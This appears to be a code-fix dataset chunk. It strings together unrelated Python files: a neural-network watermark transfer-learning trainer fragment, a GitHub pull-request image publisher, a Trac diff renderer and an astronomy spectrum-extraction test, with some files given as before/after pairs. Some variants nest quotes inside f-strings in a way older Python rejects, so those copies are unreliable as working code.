clone_model.load_state_dict(self.model.state_dict())
except:
print('Having problem to direct load state dict, loading it manually')
if self.arch == 'alexnet':
for clone_m, self_m in zip(clone_model.features, self.model.features):
try:
clone_m.load_state_dict(self_m.state_dict())
except:
print('Having problem to load state dict usually caused by missing keys, load by strict=False')
clone_m.load_state_dict(self_m.state_dict(), False) # load conv weight, bn running mean
clone_m.bn.weight.data.copy_(self_m.get_scale().detach().view(-1))
clone_m.bn.bias.data.copy_(self_m.get_bias().detach().view(-1))
else:
passport_settings = self.passport_config
for l_key in passport_settings: # layer
if isinstance(passport_settings[l_key], dict):
for i in passport_settings[l_key]: # sequential
for m_key in passport_settings[l_key][i]: # convblock
clone_m = clone_model.__getattr__(l_key)[int(i)].__getattr__(m_key) # type: ConvBlock
self_m = self.model.__getattr__(l_key)[int(i)].__getattr__(m_key) # type: PassportBlock
try:
clone_m.load_state_dict(self_m.state_dict())
except:
print(f'{l_key}.{i}.{m_key} cannot load state dict directly')
clone_m.load_state_dict(self_m.state_dict(), False)
clone_m.bn.weight.data.copy_(self_m.get_scale().detach().view(-1))
clone_m.bn.bias.data.copy_(self_m.get_bias().detach().view(-1))
else:
clone_m = clone_model.__getattr__(l_key)
self_m = self.model.__getattr__(l_key)
try:
clone_m.load_state_dict(self_m.state_dict())
except:
print(f'{l_key} cannot load state dict directly')
clone_m.load_state_dict(self_m.state_dict(), False)
clone_m.bn.weight.data.copy_(self_m.get_scale().detach().view(-1))
clone_m.bn.bias.data.copy_(self_m.get_bias().detach().view(-1))
clone_model.to(self.device)
print('Loaded clone model')
##### dataset is created at constructor #####
##### tl scheme setup #####
if self.tl_scheme == 'rtal':
# rtal = reset last layer + train all layer
# ftal = train all layer
try:
clone_model.classifier.reset_parameters()
except:
clone_model.linear.reset_parameters()
##### optimizer setup #####
optimizer = optim.SGD(clone_model.parameters(),
lr=self.lr,
momentum=0.9,
weight_decay=0.0005)
if len(self.lr_config[self.lr_config['type']]) != 0: # if no specify steps, then scheduler = None
scheduler = optim.lr_scheduler.MultiStepLR(optimizer,
self.lr_config[self.lr_config['type']],
self.lr_config['gamma'])
else:
scheduler = None
self.trainer = Trainer(clone_model,
optimizer,
scheduler,
self.device)
tester = Tester(self.model,
self.device)
tester_passport = TesterPrivate(self.model,
self.device)
history_file = os.path.join(self.logdir, 'history.csv')
first = True
best_acc = 0
for ep in range(1, self.epochs + 1):
train_metrics = self.trainer.train(ep, self.train_data)
valid_metrics = self.trainer.test(self.valid_data)
##### load transfer learning weights from clone model #####
try:
self.model.load_state_dict(clone_model.state_dict())
except:
if self.arch == 'alexnet':
for clone_m, self_m in zip(clone_model.features, self.model.features):
try:
self_m.load_state_dict(clone_m.state_dict())
except:
self_m.load_state_dict(clone_m.state_dict(), False)
else:
passport_settings = self.passport_config
for l_key in passport_settings: # layer
if isinstance(passport_settings[l_key], dict):
for i in passport_settings[l_key]: # sequential
for m_key in passport_settings[l_key][i]: # convblock
clone_m = clone_model.__getattr__(l_key)[int(i)].__getattr__(m_key)
self_m = self.model.__getattr__(l_key)[int(i)].__getattr__(m_key)
try:
self_m.load_state_dict(clone_m.state_dict())
except:
self_m.load_state_dict(clone_m.state_dict(), False)
else:
clone_m = clone_model.__getattr__(l_key)
self_m = self.model.__getattr__(l_key)
try:
self_m.load_state_dict(clone_m.state_dict())
except:
self_m.load_state_dict(clone_m.state_dict(), False)
clone_model.to(self.device)
self.model.to(self.device)
wm_metrics = {}
if self.train_backdoor:
wm_metrics = tester.test(self.wm_data, 'WM Result')
if self.train_passport:
res = tester_passport.test_signature()
for key in res: wm_metrics['passport_' + key] = res[key]
metrics = {}
for key in train_metrics: metrics[f'train_{key}'] = train_metrics[key]
for key in valid_metrics: metrics[f'valid_{key}'] = valid_metrics[key]
for key in wm_metrics: metrics[f'old_wm_{key}'] = wm_metrics[key]
self.append_history(history_file, metrics, first)
first = False
if self.save_interval and ep % self.save_interval == 0:
self.save_model(f'epoch-{ep}.pth')
self.save_model(f'tl-epoch-{ep}.pth', clone_model)
if best_acc < metrics['valid_acc']:
print(f'Found best at epoch {ep}\n')
best_acc = metrics['valid_acc']
self.save_model('best.pth')
self.save_model('tl-best.pth', clone_model)
self.save_last_model()
def training(self):
best_acc = float('-inf')
history_file = os.path.join(self.logdir, 'history.csv')
first = True
if self.save_interval > 0:
self.save_model('epoch-0.pth')
for ep in range(1, self.epochs + 1):
train_metrics = self.trainer.train(ep, self.train_data, self.wm_data)
print(f'Sign Detection Accuracy: {train_metrics["sign_acc"] * 100:6.4f}')
valid_metrics = self.trainer.test(self.valid_data, 'Testing Result')
wm_metrics = {}
if self.train_backdoor:
wm_metrics = self.trainer.test(self.wm_data, 'WM Result')
metrics = {}
for key in train_metrics: metrics[f'train_{key}'] = train_metrics[key]
for key in valid_metrics: metrics[f'valid_{key}'] = valid_metrics[key]
for key in wm_metrics: metrics[f'wm_{key}'] = wm_metrics[key]
self.append_history(history_file, metrics, first)
first = False
if self.save_interval and ep % self.save_interval == 0:
self.save_model(f'epoch-{ep}.pth')
if best_acc < metrics['valid_acc']:
print(f'Found best at epoch {ep}\n')
best_acc = metrics['valid_acc']
self.save_model('best.pth')
self.save_last_model()
def evaluate(self):
self.trainer.test(self.valid_data)
|
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
import requests
import json
import sys
import base64
import datetime
import os
from azure.storage.blob import BlobServiceClient, ContentSettings
from cimetrics.env import get_env
# Always the same for metrics-devops
IMAGE_BRANCH_NAME = "cimetrics"
IMAGE_PATH = "_cimetrics/diff.png"
COMMENT_PATH = "_cimetrics/diff.txt"
AZURE_BLOB_URL = os.getenv("AZURE_BLOB_URL")
AZURE_WEB_URL = os.getenv("AZURE_WEB_URL")
class GithubPRPublisher(object):
def __init__(self):
self.env = get_env()
if self.env is None:
return
self.request_header = {
"content-type": "application/json",
"Authorization": f"token {self.env.github_token}",
}
self.github_url = f"https://api.github.com/repos/{self.env.repo_id}"
self.pull_request_id = self.env.pull_request_id
def create_image_branch(self):
# Does not do anything if the branch already exists
params = {}
params["ref"] = f"refs/heads/{IMAGE_BRANCH_NAME}"
rep = requests.get(
f"{self.github_url}/git/refs/heads/main",
data="",
headers=self.request_header,
)
json_rep = json.loads(rep.text)
params["sha"] = json_rep["object"]["sha"]
print(f"Creating branch {json.dumps(params)}")
rep = requests.post(
f"{self.github_url}/git/refs",
data=json.dumps(params),
headers=self.request_header,
)
def upload_image(self, encoded_image):
params = {}
params["message"] = "Uploading an image"
params["branch"] = IMAGE_BRANCH_NAME
params["content"] = encoded_image
print(f"Uploading image to branch {IMAGE_BRANCH_NAME}")
rep = requests.put(
f"{self.github_url}/contents/{IMAGE_BRANCH_NAME}/image{datetime.datetime.now()}.png",
data=json.dumps(params),
headers=self.request_header,
)
json_rep = json.loads(rep.text)
if "content" in json_rep:
return json_rep["content"]["download_url"]
else:
raise Exception("Failed to upload image")
def upload_image_as_blob(self, contents):
service = BlobServiceClient(account_url=AZURE_BLOB_URL)
name = f"plot-{self.env.repo_name.replace("/", "-")}-{self.env.pull_request_id}.png"
blob = service.get_blob_client(container="$web", blob=name)
blob.upload_blob(
contents,
overwrite=True,
content_settings=ContentSettings(
content_type="image/png", cache_control="no-cache"
),
)
return f"{AZURE_WEB_URL}/{name}"
def first_self_comment(self):
rep = requests.get(
f"{self.github_url}/issues/{self.pull_request_id}/comments",
headers=self.request_header,
)
for comment in rep.json():
login = comment.get("user", {}).get("login")
if login == self.env.pr_user:
return comment["id"]
return None
def publish_comment(self, image_report_url, comment):
params = {}
params["body"] = f"{comment}\n"
comment_id = self.first_self_comment()
if comment_id is None:
print(f"Publishing comment to pull request {self.pull_request_id}")
rep = requests.post(
f"{self.github_url}/issues/{self.pull_request_id}/comments",
data=json.dumps(params),
headers=self.request_header,
)
else:
print(
f"Updating comment {comment_id} on pull request {self.pull_request_id}"
)
rep = requests.patch(
f"{self.github_url}/issues/comments/{comment_id}",
data=json.dumps(params),
headers=self.request_header,
)
if __name__ == "__main__":
env = get_env()
if env is None:
print("Skipping publishing of PR comment (env)")
sys.exit(0)
publisher = GithubPRPublisher()
publisher.create_image_branch()
encoded_image = None
raw_image = None
with open(os.path.join(env.repo_root, IMAGE_PATH), "rb") as image_file:
raw_image = image_file.read()
encoded_image = base64.b64encode(raw_image)
comment = ""
with open(os.path.join(env.repo_root, COMMENT_PATH), "r") as comment_file:
comment = comment_file.read()
if AZURE_BLOB_URL and AZURE_WEB_URL:
image_url = publisher.upload_image_as_blob(raw_image)
else:
image_url = publisher.upload_image(str(encoded_image.decode()))
publisher.publish_comment(image_url, comment)
| # Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
import requests
import json
import sys
import base64
import datetime
import os
from azure.storage.blob import BlobServiceClient, ContentSettings
from cimetrics.env import get_env
# Always the same for metrics-devops
IMAGE_BRANCH_NAME = "cimetrics"
IMAGE_PATH = "_cimetrics/diff.png"
COMMENT_PATH = "_cimetrics/diff.txt"
AZURE_BLOB_URL = os.getenv("AZURE_BLOB_URL")
AZURE_WEB_URL = os.getenv("AZURE_WEB_URL")
class GithubPRPublisher(object):
def __init__(self):
self.env = get_env()
if self.env is None:
return
self.request_header = {
"content-type": "application/json",
"Authorization": f"token {self.env.github_token}",
}
self.github_url = f"https://api.github.com/repos/{self.env.repo_id}"
self.pull_request_id = self.env.pull_request_id
def create_image_branch(self):
# Does not do anything if the branch already exists
params = {}
params["ref"] = f"refs/heads/{IMAGE_BRANCH_NAME}"
rep = requests.get(
f"{self.github_url}/git/refs/heads/main",
data="",
headers=self.request_header,
)
json_rep = json.loads(rep.text)
params["sha"] = json_rep["object"]["sha"]
print(f"Creating branch {json.dumps(params)}")
rep = requests.post(
f"{self.github_url}/git/refs",
data=json.dumps(params),
headers=self.request_header,
)
def upload_image(self, encoded_image):
params = {}
params["message"] = "Uploading an image"
params["branch"] = IMAGE_BRANCH_NAME
params["content"] = encoded_image
print(f"Uploading image to branch {IMAGE_BRANCH_NAME}")
rep = requests.put(
f"{self.github_url}/contents/{IMAGE_BRANCH_NAME}/image{datetime.datetime.now()}.png",
data=json.dumps(params),
headers=self.request_header,
)
json_rep = json.loads(rep.text)
if "content" in json_rep:
return json_rep["content"]["download_url"]
else:
raise Exception("Failed to upload image")
def upload_image_as_blob(self, contents):
service = BlobServiceClient(account_url=AZURE_BLOB_URL)
name = f"plot-{self.env.repo_name.replace('/', '-')}-{self.env.pull_request_id}.png"
blob = service.get_blob_client(container="$web", blob=name)
blob.upload_blob(
contents,
overwrite=True,
content_settings=ContentSettings(
content_type="image/png", cache_control="no-cache"
),
)
return f"{AZURE_WEB_URL}/{name}"
def first_self_comment(self):
rep = requests.get(
f"{self.github_url}/issues/{self.pull_request_id}/comments",
headers=self.request_header,
)
for comment in rep.json():
login = comment.get("user", {}).get("login")
if login == self.env.pr_user:
return comment["id"]
return None
def publish_comment(self, image_report_url, comment):
params = {}
params["body"] = f"{comment}\n"
comment_id = self.first_self_comment()
if comment_id is None:
print(f"Publishing comment to pull request {self.pull_request_id}")
rep = requests.post(
f"{self.github_url}/issues/{self.pull_request_id}/comments",
data=json.dumps(params),
headers=self.request_header,
)
else:
print(
f"Updating comment {comment_id} on pull request {self.pull_request_id}"
)
rep = requests.patch(
f"{self.github_url}/issues/comments/{comment_id}",
data=json.dumps(params),
headers=self.request_header,
)
if __name__ == "__main__":
env = get_env()
if env is None:
print("Skipping publishing of PR comment (env)")
sys.exit(0)
publisher = GithubPRPublisher()
publisher.create_image_branch()
encoded_image = None
raw_image = None
with open(os.path.join(env.repo_root, IMAGE_PATH), "rb") as image_file:
raw_image = image_file.read()
encoded_image = base64.b64encode(raw_image)
comment = ""
with open(os.path.join(env.repo_root, COMMENT_PATH), "r") as comment_file:
comment = comment_file.read()
if AZURE_BLOB_URL and AZURE_WEB_URL:
image_url = publisher.upload_image_as_blob(raw_image)
else:
image_url = publisher.upload_image(str(encoded_image.decode()))
publisher.publish_comment(image_url, comment)
|
# -*- coding: utf-8 -*-
#
# Copyright (C) 2005-2020 Edgewall Software
# Copyright (C) 2005 Christopher Lenz <cmlenz@gmx.de>
# Copyright (C) 2006 Christian Boos <cboos@edgewall.org>
# All rights reserved.
#
# This software is licensed as described in the file COPYING, which
# you should have received as part of this distribution. The terms
# are also available at https://trac.edgewall.org/wiki/TracLicense.
#
# This software consists of voluntary contributions made by many
# individuals. For the exact contribution history, see the revision
# history and logs, available at https://trac.edgewall.org/log/.
#
# Author: Christopher Lenz <cmlenz@gmx.de>
# Ludvig Strigeus
import os.path
import re
from trac.core import *
from trac.mimeview.api import content_to_unicode, IHTMLPreviewRenderer, \
Mimeview
from trac.util.html import Markup, escape
from trac.util.text import expandtabs
from trac.util.translation import _
from trac.web.chrome import Chrome, add_script, add_stylesheet
__all__ = ['PatchRenderer']
class PatchRenderer(Component):
"""HTML renderer for patches in unified diff format.
This uses the same layout as in the wiki diff view or the changeset view.
"""
implements(IHTMLPreviewRenderer)
# IHTMLPreviewRenderer methods
def get_quality_ratio(self, mimetype):
if mimetype in ('text/x-diff', 'text/x-patch'):
return 8
return 0
def render(self, context, mimetype, content, filename=None, rev=None):
req = context.req
content = content_to_unicode(self.env, content, mimetype)
changes = self._diff_to_hdf(content.splitlines(),
Mimeview(self.env).tab_width)
if not changes or not any(c['diffs'] for c in changes):
self.log.debug("Invalid unified diff content: %.40r... (%d "
"characters)", content, len(content))
return
data = {'diff': {'style': 'inline'}, 'no_id': True,
'changes': changes, 'longcol': 'File', 'shortcol': ''}
add_script(req, 'common/js/diff.js')
add_stylesheet(req, 'common/css/diff.css')
return Chrome(self.env).render_fragment(req, 'diff_div.html', data)
# Internal methods
# FIXME: This function should probably share more code with the
# trac.versioncontrol.diff module
def _diff_to_hdf(self, difflines, tabwidth):
"""
Translate a diff file into something suitable for inclusion in HDF.
The result is [(filename, revname_old, revname_new, changes)],
where changes has the same format as the result of
`trac.versioncontrol.diff.hdf_diff`.
If the diff cannot be parsed, this method returns None.
"""
def _markup_intraline_change(fromlines, tolines):
from trac.versioncontrol.diff import get_change_extent
for i in xrange(len(fromlines)):
fr, to = fromlines[i], tolines[i]
(start, end) = get_change_extent(fr, to)
if start != 0 or end != 0:
last = end+len(fr)
fromlines[i] = fr[:start] + '\0' + fr[start:last] + \
'\1' + fr[last:]
last = end+len(to)
tolines[i] = to[:start] + '\0' + to[start:last] + \
'\1' + to[last:]
space_re = re.compile(' ( +)|^ ')
def htmlify(match):
div, mod = divmod(len(match.group(0)), 2)
return Markup(div * ' ' + mod * ' ')
comments = []
changes = []
lines = iter(difflines)
try:
line = next(lines)
while True:
oldpath = oldrev = newpath = newrev = ''
oldinfo = newinfo = []
binary = False
# consume preamble, storing free lines in comments
# (also detect the special case of git binary patches)
if not line.startswith('--- '):
if not line.startswith('Index: ') and line != '=' * 67:
comments.append(line)
if line == "GIT binary patch":
binary = True
diffcmd_line = comments[0] # diff --git a/... b/,,,
oldpath, newpath = diffcmd_line.split()[-2:]
if any(c.startswith('new file') for c in comments):
oldpath = '/dev/null'
if any(c.startswith('deleted file') for c in comments):
newpath = '/dev/null'
oldinfo = ['', oldpath]
newinfo = ['', newpath]
index = [c for c in comments if c.startswith('index ')]
if index: # index 8f****78..1e****5c
oldrev, newrev = index[0].split()[-1].split('..')
oldinfo.append(oldrev)
newinfo.append(newrev)
line = next(lines)
while line:
comments.append(line)
line = next(lines)
else:
line = next(lines)
continue
if not oldinfo and not newinfo:
# Base filename/version from '--- <file> [rev]'
oldinfo = line.split(None, 2)
if len(oldinfo) > 1:
oldpath = oldinfo[1]
if len(oldinfo) > 2:
oldrev = oldinfo[2]
# Changed filename/version from '+++ <file> [rev]'
line = next(lines)
if not line.startswith('+++ '):
self.log.debug('expected +++ after ---, got %s', line)
return None
newinfo = line.split(None, 2)
if len(newinfo) > 1:
newpath = newinfo[1]
if len(newinfo) > 2:
newrev = newinfo[2]
shortrev = ('old', 'new')
if oldpath or newpath:
sep = re.compile(r'([/.~\\])')
commonprefix = ''.join(os.path.commonprefix(
[sep.split(newpath), sep.split(oldpath)]))
commonsuffix = ''.join(os.path.commonprefix(
[sep.split(newpath)[::-1],
sep.split(oldpath)[::-1]])[::-1])
if len(commonprefix) > len(commonsuffix):
common = commonprefix
elif commonsuffix:
common = commonsuffix.lstrip('/')
a = oldpath[:-len(commonsuffix)]
b = newpath[:-len(commonsuffix)]
if len(a) < 4 and len(b) < 4:
shortrev = (a, b)
elif oldpath == '/dev/null':
common = _("new file %(new)s",
new=newpath.lstrip('b/'))
shortrev = ('-', '+')
elif newpath == '/dev/null':
common = _("deleted file %(deleted)s",
deleted=oldpath.lstrip('a/'))
shortrev = ('+', '-')
else:
common = '(a) %s vs. (b) %s' % (oldpath, newpath)
shortrev = ('a', 'b')
else:
common = ''
groups = []
groups_title = []
changes.append({'change': 'edit', 'props': [],
'comments': '\n'.join(comments),
'binary': binary,
'diffs': groups,
'diffs_title': groups_title,
'old': {'path': common,
'rev': ' '.join(oldinfo[1:]),
'shortrev': shortrev[0]},
'new': {'path': common,
'rev': ' '.join(newinfo[1:]),
'shortrev': shortrev[1]}})
comments = []
line = next(lines)
while line:
# "@@ -333,10 +329,8 @@" or "@@ -1 +1 @@ [... title ...]"
r = re.match(r'@@ -(\d+)(?:,(\d+))? \+(\d+)(?:,(\d+))? @@'
'(.*)', line)
if not r:
break
blocks = []
groups.append(blocks)
fromline, fromend, toline, toend = \
[int(x or 1) for x in r.groups()[:4]]
groups_title.append(r.group(5))
last_type = extra = None
fromend += fromline
toend += toline
line = next(lines)
while fromline < fromend or toline < toend or extra:
# First character is the command
command = ' '
if line:
command, line = line[0], line[1:]
# Make a new block?
if (command == ' ') != last_type:
last_type = command == ' '
kind = 'unmod' if last_type else 'mod'
block = {'type': kind,
'base': {'offset': fromline - 1,
'lines': []},
'changed': {'offset': toline - 1,
'lines': []}}
blocks.append(block)
else:
block = blocks[-1]
if command == ' ':
sides = ['base', 'changed']
elif command == '+':
last_side = 'changed'
sides = [last_side]
elif command == '-':
last_side = 'base'
sides = [last_side]
elif command == '\\' and last_side:
meta = block[last_side].setdefault('meta', {})
meta[len(block[last_side]['lines'])] = True
sides = [last_side]
elif command == '@': # ill-formed patch
groups_title[-1] = "%s (%s)" % (
groups_title[-1],
_("this hunk was shorter than expected"))
line = '@'+line
break
else:
self.log.debug('expected +, - or \\, got %s',
command)
return None
for side in sides:
if side == 'base':
fromline += 1
else:
toline += 1
block[side]['lines'].append(line)
line = next(lines)
extra = line and line[0] == '\\'
except StopIteration:
pass
# Go through all groups/blocks and mark up intraline changes, and
# convert to html
for o in changes:
for group in o['diffs']:
for b in group:
base, changed = b['base'], b['changed']
f, t = base['lines'], changed['lines']
if b['type'] == 'mod':
if len(f) == 0:
b['type'] = 'add'
elif len(t) == 0:
b['type'] = 'rem'
elif len(f) == len(t):
_markup_intraline_change(f, t)
for i in xrange(len(f)):
line = expandtabs(f[i], tabwidth, '\0\1')
line = escape(line, quotes=False)
line = '<del>'.join(space_re.sub(htmlify, seg)
for seg in line.split('\0'))
line = line.replace('\1', '</del>')
f[i] = Markup(line)
if 'meta' in base and i in base['meta']:
f[i] = Markup('<em>%s</em>') % f[i]
for i in xrange(len(t)):
line = expandtabs(t[i], tabwidth, '\0\1')
line = escape(line, quotes=False)
line = '<ins>'.join(space_re.sub(htmlify, seg)
for seg in line.split('\0'))
line = line.replace('\1', '</ins>')
t[i] = Markup(line)
if 'meta' in changed and i in changed['meta']:
t[i] = Markup('<em>%s</em>') % t[i]
return changes
| # -*- coding: utf-8 -*-
#
# Copyright (C) 2005-2020 Edgewall Software
# Copyright (C) 2005 Christopher Lenz <cmlenz@gmx.de>
# Copyright (C) 2006 Christian Boos <cboos@edgewall.org>
# All rights reserved.
#
# This software is licensed as described in the file COPYING, which
# you should have received as part of this distribution. The terms
# are also available at https://trac.edgewall.org/wiki/TracLicense.
#
# This software consists of voluntary contributions made by many
# individuals. For the exact contribution history, see the revision
# history and logs, available at https://trac.edgewall.org/log/.
#
# Author: Christopher Lenz <cmlenz@gmx.de>
# Ludvig Strigeus
import os.path
import re
from trac.core import *
from trac.mimeview.api import content_to_unicode, IHTMLPreviewRenderer, \
Mimeview
from trac.util.html import Markup, escape
from trac.util.text import expandtabs
from trac.util.translation import _
from trac.web.chrome import Chrome, add_script, add_stylesheet
__all__ = ['PatchRenderer']
class PatchRenderer(Component):
"""HTML renderer for patches in unified diff format.
This uses the same layout as in the wiki diff view or the changeset view.
"""
implements(IHTMLPreviewRenderer)
# IHTMLPreviewRenderer methods
def get_quality_ratio(self, mimetype):
if mimetype in ('text/x-diff', 'text/x-patch'):
return 8
return 0
def render(self, context, mimetype, content, filename=None, rev=None):
req = context.req
content = content_to_unicode(self.env, content, mimetype)
changes = self._diff_to_hdf(content.splitlines(),
Mimeview(self.env).tab_width)
if not changes or not any(c['diffs'] for c in changes):
self.log.debug("Invalid unified diff content: %.40r... (%d "
"characters)", content, len(content))
return
data = {'diff': {'style': 'inline'}, 'no_id': True,
'changes': changes, 'longcol': 'File', 'shortcol': ''}
add_script(req, 'common/js/diff.js')
add_stylesheet(req, 'common/css/diff.css')
return Chrome(self.env).render_fragment(req, 'diff_div.html', data)
# Internal methods
# FIXME: This function should probably share more code with the
# trac.versioncontrol.diff module
def _diff_to_hdf(self, difflines, tabwidth):
"""
Translate a diff file into something suitable for inclusion in HDF.
The result is [(filename, revname_old, revname_new, changes)],
where changes has the same format as the result of
`trac.versioncontrol.diff.hdf_diff`.
If the diff cannot be parsed, this method returns None.
"""
def _markup_intraline_change(fromlines, tolines):
from trac.versioncontrol.diff import get_change_extent
for i in xrange(len(fromlines)):
fr, to = fromlines[i], tolines[i]
(start, end) = get_change_extent(fr, to)
if start != 0 or end != 0:
last = end+len(fr)
fromlines[i] = fr[:start] + '\0' + fr[start:last] + \
'\1' + fr[last:]
last = end+len(to)
tolines[i] = to[:start] + '\0' + to[start:last] + \
'\1' + to[last:]
space_re = re.compile(' ( +)|^ ')
def htmlify(match):
div, mod = divmod(len(match.group(0)), 2)
return Markup(div * ' ' + mod * ' ')
comments = []
changes = []
lines = iter(difflines)
try:
line = next(lines)
while True:
oldpath = oldrev = newpath = newrev = ''
oldinfo = newinfo = []
binary = False
# consume preamble, storing free lines in comments
# (also detect the special case of git binary patches)
if not line.startswith('--- '):
if not line.startswith('Index: ') and line != '=' * 67:
comments.append(line)
if line == "GIT binary patch":
binary = True
diffcmd_line = comments[0] # diff --git a/... b/,,,
oldpath, newpath = diffcmd_line.split()[-2:]
if any(c.startswith('new file') for c in comments):
oldpath = '/dev/null'
if any(c.startswith('deleted file') for c in comments):
newpath = '/dev/null'
oldinfo = ['', oldpath]
newinfo = ['', newpath]
index = [c for c in comments if c.startswith('index ')]
if index: # index 8f****78..1e****5c
oldrev, newrev = index[0].split()[-1].split('..')
oldinfo.append(oldrev)
newinfo.append(newrev)
line = next(lines)
while line:
comments.append(line)
line = next(lines)
else:
line = next(lines)
continue
if not oldinfo and not newinfo:
# Base filename/version from '--- <file> [rev]'
oldinfo = line.split(None, 2)
if len(oldinfo) > 1:
oldpath = oldinfo[1]
if len(oldinfo) > 2:
oldrev = oldinfo[2]
# Changed filename/version from '+++ <file> [rev]'
line = next(lines)
if not line.startswith('+++ '):
self.log.debug('expected +++ after ---, got %s', line)
return None
newinfo = line.split(None, 2)
if len(newinfo) > 1:
newpath = newinfo[1]
if len(newinfo) > 2:
newrev = newinfo[2]
shortrev = ('old', 'new')
if oldpath or newpath:
sep = re.compile(r'([/.~\\])')
commonprefix = ''.join(os.path.commonprefix(
[sep.split(newpath), sep.split(oldpath)]))
commonsuffix = ''.join(os.path.commonprefix(
[sep.split(newpath)[::-1],
sep.split(oldpath)[::-1]])[::-1])
if len(commonprefix) > len(commonsuffix):
common = commonprefix
elif commonsuffix:
common = commonsuffix.lstrip('/')
a = oldpath[:-len(commonsuffix)]
b = newpath[:-len(commonsuffix)]
if len(a) < 4 and len(b) < 4:
shortrev = (a, b)
elif oldpath == '/dev/null':
common = _("new file %(new)s",
new=newpath.lstrip('b/'))
shortrev = ('-', '+')
elif newpath == '/dev/null':
common = _("deleted file %(deleted)s",
deleted=oldpath.lstrip('a/'))
shortrev = ('+', '-')
else:
common = '(a) %s vs. (b) %s' % (oldpath, newpath)
shortrev = ('a', 'b')
else:
common = ''
groups = []
groups_title = []
changes.append({'change': 'edit', 'props': [],
'comments': '\n'.join(comments),
'binary': binary,
'diffs': groups,
'diffs_title': groups_title,
'old': {'path': common,
'rev': ' '.join(oldinfo[1:]),
'shortrev': shortrev[0]},
'new': {'path': common,
'rev': ' '.join(newinfo[1:]),
'shortrev': shortrev[1]}})
comments = []
line = next(lines)
while line:
# "@@ -333,10 +329,8 @@" or "@@ -1 +1 @@ [... title ...]"
r = re.match(r'@@ -(\d+)(?:,(\d+))? \+(\d+)(?:,(\d+))? @@'
'(.*)', line)
if not r:
break
blocks = []
groups.append(blocks)
fromline, fromend, toline, toend = \
[int(x or 1) for x in r.groups()[:4]]
groups_title.append(r.group(5))
last_type = extra = None
fromend += fromline
toend += toline
line = next(lines)
while fromline < fromend or toline < toend or extra:
# First character is the command
command = ' '
if line:
command, line = line[0], line[1:]
# Make a new block?
if (command == ' ') != last_type:
last_type = command == ' '
kind = 'unmod' if last_type else 'mod'
block = {'type': kind,
'base': {'offset': fromline - 1,
'lines': []},
'changed': {'offset': toline - 1,
'lines': []}}
blocks.append(block)
else:
block = blocks[-1]
if command == ' ':
sides = ['base', 'changed']
elif command == '+':
last_side = 'changed'
sides = [last_side]
elif command == '-':
last_side = 'base'
sides = [last_side]
elif command == '\\' and last_side:
meta = block[last_side].setdefault('meta', {})
meta[len(block[last_side]['lines'])] = True
sides = [last_side]
elif command == '@': # ill-formed patch
groups_title[-1] = "%s (%s)" % (
groups_title[-1],
_("this hunk was shorter than expected"))
line = '@'+line
break
else:
self.log.debug('expected +, - or \\, got %s',
command)
return None
for side in sides:
if side == 'base':
fromline += 1
else:
toline += 1
block[side]['lines'].append(line)
line = next(lines)
extra = line and line[0] == '\\'
except StopIteration:
pass
# Go through all groups/blocks and mark up intraline changes, and
# convert to html
for o in changes:
for group in o['diffs']:
for b in group:
base, changed = b['base'], b['changed']
f, t = base['lines'], changed['lines']
if b['type'] == 'mod':
if len(f) == 0:
b['type'] = 'add'
elif len(t) == 0:
b['type'] = 'rem'
elif len(f) == len(t):
_markup_intraline_change(f, t)
for i in xrange(len(f)):
line = expandtabs(f[i], tabwidth, '\0\1')
line = escape(line, quotes=False)
line = '<del>'.join(space_re.sub(htmlify, seg)
for seg in line.split('\0'))
line = line.replace('\1', '</del>')
f[i] = Markup(line)
if 'meta' in base and i in base['meta']:
f[i] = Markup('<em>%s</em>') % f[i]
for i in xrange(len(t)):
line = expandtabs(t[i], tabwidth, '\0\1')
line = escape(line, quotes=False)
line = '<ins>'.join(space_re.sub(htmlify, seg)
for seg in line.split('\0'))
line = line.replace('\1', '</ins>')
t[i] = Markup(line)
if 'meta' in changed and i in changed['meta']:
t[i] = Markup('<em>%s</em>') % t[i]
return changes
|
from numpy.testing import run_module_suite
from spectractor import parameters
from spectractor.extractor.extractor import Spectractor
from spectractor.logbook import LogBook
from spectractor.config import load_config
import os
import numpy as np
def test_logbook():
logbook = LogBook('./ctiofulllogbook_jun2017_v5.csv')
# target, xpos, ypos = logbook.search_for_image('reduc_20170529_085.fits')
# assert xpos is None
disperser_label, target, xpos, ypos = logbook.search_for_image('reduc_20170603_020.fits')
assert target == "PKS1510-089"
assert xpos == 830
assert ypos == 590
# logbook = LogBook('./ctiofulllogbook_jun2017_v5.csv')
# logbook.plot_columns_vs_date(['T', 'seeing', 'W'])
def test_extractor_ctio():
file_names = ['tests/data/reduc_20170530_134.fits']
output_directory = "./outputs"
logbook = LogBook(logbook='./ctiofulllogbook_jun2017_v5.csv')
load_config("./config/ctio.ini")
parameters.VERBOSE = True
parameters.DEBUG = True
parameters.CCD_REBIN = 2
for file_name in file_names:
tag = file_name.split('/')[-1].replace("sim", "reduc")
disperser_label, target_label, xpos, ypos = logbook.search_for_image(tag)
if target_label is None or xpos is None or ypos is None:
continue
spectrum = Spectractor(file_name, output_directory, target_label, [xpos, ypos], disperser_label,
atmospheric_lines=True)
assert spectrum.data is not None
spectrum.my_logger.warning(f"\n\tQuantities to test:"
f"\n\t\tspectrum.lambdas[0]={spectrum.lambdas[0]}"
f"\n\t\tspectrum.lambdas[-1]={spectrum.lambdas[-1]}"
f"\n\t\tspectrum.x0={spectrum.x0}"
f"\n\t\tspectrum.spectrogram_x0={spectrum.spectrogram_x0}"
f"\n\t\tspectrum total flux={np.sum(spectrum.data) * parameters.CCD_REBIN ** 2}"
f"\n\t\tnp.mean(spectrum.chromatic_psf.table['gamma']="
f"{np.mean(spectrum.chromatic_psf.table["gamma"])}")
assert np.sum(spectrum.data) * parameters.CCD_REBIN**2 > 2e-11 / parameters.CCD_REBIN
if parameters.CCD_REBIN == 1:
if parameters.PSF_EXTRACTION_MODE == "PSD_2D":
assert np.isclose(spectrum.lambdas[0], 343, atol=1)
assert np.isclose(spectrum.lambdas[-1], 1084.0, atol=1)
elif parameters.PSF_EXTRACTION_MODE == "PSF_1D":
assert np.isclose(spectrum.lambdas[0], 347, atol=1)
assert np.isclose(spectrum.lambdas[-1], 1085.0, atol=1)
assert np.isclose(spectrum.spectrogram_x0, -280, atol=1)
assert np.isclose(spectrum.x0[0] * parameters.CCD_REBIN, 743.6651370068676, atol=0.5 * parameters.CCD_REBIN)
assert np.isclose(spectrum.x0[1] * parameters.CCD_REBIN, 683.0577836601408, atol=1 * parameters.CCD_REBIN)
